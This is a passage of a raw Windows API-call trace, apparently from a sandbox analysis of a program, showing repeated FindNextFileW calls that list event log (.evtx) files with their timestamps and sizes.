ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cAlternateFileName="MI8196~1.EVT")) returned 1 [0069.835] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cAlternateFileName="MIE36C~1.EVT")) returned 1 [0069.835] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx", cAlternateFileName="MIC5CB~1.EVT")) returned 1 [0069.835] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx", cAlternateFileName="MIF8AA~1.EVT")) returned 1 [0069.835] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx", cAlternateFileName="MI34FE~1.EVT")) returned 1 [0069.836] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cAlternateFileName="MIA24C~1.EVT")) returned 1 [0069.836] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cAlternateFileName="MIDBEC~1.EVT")) returned 1 [0069.836] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx", cAlternateFileName="MI54F1~1.EVT")) returned 1 [0069.836] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cAlternateFileName="MI111F~1.EVT")) returned 1 [0069.836] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx", cAlternateFileName="MI9465~1.EVT")) returned 1 [0069.836] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx", cAlternateFileName="MI03A7~1.EVT")) returned 1 [0069.837] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cAlternateFileName="MI5CA2~1.EVT")) returned 1 [0069.837] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cAlternateFileName="MI5FD1~1.EVT")) returned 1 [0069.837] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cAlternateFileName="MI8BDF~1.EVT")) returned 1 [0069.837] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cAlternateFileName="MIAEBD~1.EVT")) returned 1 [0069.837] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1 [0069.837] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cAlternateFileName="MI08CB~1.EVT")) returned 1 [0069.838] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx", cAlternateFileName="MI8270~1.EVT")) returned 1 [0069.838] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cAlternateFileName="MIEBFF~1.EVT")) returned 1 [0069.838] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cAlternateFileName="MI9F85~1.EVT")) returned 1 [0069.838] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cAlternateFileName="MIBE3D~1.EVT")) returned 1 [0069.838] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx", cAlternateFileName="MIE38D~1.EVT")) returned 1 [0069.838] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx", cAlternateFileName="MIE386~1.EVT")) returned 1 [0069.838] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cAlternateFileName="MI6B25~1.EVT")) returned 1 [0069.839] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-International%4Operational.evtx", cAlternateFileName="MI854A~1.EVT")) returned 1 [0069.839] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx", cAlternateFileName="MI32CE~1.EVT")) returned 1 [0069.839] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cAlternateFileName="MIA934~1.EVT")) returned 1 [0069.839] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cAlternateFileName="MIB32D~1.EVT")) returned 1 [0069.839] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cAlternateFileName="MICA77~1.EVT")) returned 1 [0069.839] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cAlternateFileName="MI1E8D~1.EVT")) returned 1 [0069.839] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cAlternateFileName="MID067~1.EVT")) returned 1 [0069.840] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cAlternateFileName="MIDE4D~1.EVT")) returned 1 [0069.840] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cAlternateFileName="MI36C5~1.EVT")) returned 1 [0069.840] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Known Folders API Service.evtx", cAlternateFileName="MI86D6~1.EVT")) returned 1 [0069.840] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbb7386e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbb7386e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-LiveId%4Operational.evtx", cAlternateFileName="MI4C58~1.EVT")) returned 1 [0069.840] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93d06f0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93d06f0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Admin.evtx", cAlternateFileName="MI30D3~1.EVT")) returned 1 [0069.841] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc93aa49b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc93aa49b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-MUI%4Operational.evtx", cAlternateFileName="MI6F01~1.EVT")) returned 1 [0069.841] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9d33b19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9d33b19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NCSI%4Operational.evtx", cAlternateFileName="MI483C~1.EVT")) returned 1 [0069.841] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcbcf0ff2, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcbcf0ff2, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-NetworkProfile%4Operational.evtx", cAlternateFileName="MIFC66~1.EVT")) returned 1 [0069.841] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ab3154, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ab3154, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4Operational.evtx", cAlternateFileName="MI6E98~1.EVT")) returned 1 [0069.841] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ad9393, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ad9393, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Ntfs%4WHC.evtx", cAlternateFileName="MIB2AC~1.EVT")) returned 1 [0069.841] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5fe5cb, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5fe5cb, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx", cAlternateFileName="MI6AFE~1.EVT")) returned 1 [0069.841] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x10fcd40 | out: lpFindFileData=0x10fcd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe24cdef0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe24cdef0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-ReadyBoost%4Operational.evtx", 